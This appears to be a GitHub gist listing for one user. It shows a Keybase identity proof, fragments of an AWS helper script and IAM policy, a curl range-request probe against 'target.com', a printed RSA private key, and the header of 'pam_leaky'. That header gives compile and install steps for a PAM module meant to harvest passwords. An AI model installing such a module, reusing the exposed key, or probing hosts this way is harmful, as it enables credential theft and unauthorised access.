I hereby claim:
- I am arirubinstein on github.
- I am arir (https://keybase.io/arir) on keybase.
- I have a public key ASBnwLlK9603oBOEX7ek60QcjUi621qyhSonjEfSW26LgAo
To claim this, I am signing this object:
I hereby claim:
To claim this, I am signing this object:
I hereby claim:
To claim this, I am signing this object:
| #!/bin/bash | |
| if [[ $EUID -ne 0 ]]; then | |
| echo "This script must be run as root" 1>&2 | |
| exit 1 | |
| fi | |
| MAC_ADDR=$(ifconfig eth0 | sed -n 's/.*HWaddr \([a-f0-9:]*\).*/\1/p') | |
| IP=($(curl http://169.254.169.254/latest/meta-data/network/interfaces/macs/$MAC_ADDR/local-ipv4s)) | |
| for ip in ${IP[@]:1}; do |
| { | |
| "Statement": [ | |
| { | |
| "Effect": "Allow", | |
| "Action":["ec2:DescribeInstanceAttribute", | |
| "ec2:DescribeInstances", | |
| "ec2:DescribeRegions", | |
| "ec2:DescribeSecurityGroups", | |
| "elasticloadbalancing:DescribeLoadBalancers" | |
| ], |
| curl -H "Range:bytes=1-" -I http://target.com | grep Partial |
| -----BEGIN RSA PRIVATE KEY----- | |
| MIICWgIBAAKBgQC8iELmyRPPHIeJ//uLLfKHG4rr84HXeGM+quySiCRgWtxbw4rh | |
| UlP7n4XHvB3ixAKdWfys2pqHD/Hqx9w4wMj9e+fjIpTi3xOdh/YylRWvid3Pf0vk | |
| OzWftKLWbay5Q3FZsq/nwjz40yGW3YhOtpK5NTQ0bKZY5zz4s2L4wdd0uQIBIwKB | |
| gBWL6mOEsc6G6uszMrDSDRbBUbSQ26OYuuKXMPrNuwOynNdJjDcCGDoDmkK2adDF | |
| 8auVQXLXJ5poOOeh0AZ8br2vnk3hZd9mnF+uyDB3PO/tqpXOrpzSyuITy5LJZBBv | |
| 7r7kqhyBs0vuSdL/D+i1DHYf0nv2Ps4aspoBVumuQid7AkEA+tD3RDashPmoQJvM | |
| 2oWS7PO6ljUVXszuhHdUOaFtx60ZOg0OVwnh+NBbbszGpsOwwEE+OqrKMTZjYg3s | |
| 37+x/wJBAMBtwmoi05hBsA4Cvac66T1Vdhie8qf5dwL2PdHfu6hbOifSX/xSPnVL | |
| RTbwU9+h/t6BOYdWA0xr0cWcjy1U6UcCQQDBfKF9w8bqPO+CTE2SoY6ZiNHEVNX4 |
| /* | |
| pam_leaky = get some passwordz | |
| Mac: compile with: ${CC} -lpam -bundle -flat_namespace -undefined suppress -o pam_leaky.so pam_leaky.c | |
| place .so in /usr/lib/pam | |
| put this at the end of everything in /etc/pam.d/ * | |
| auth required pam_leaky.so |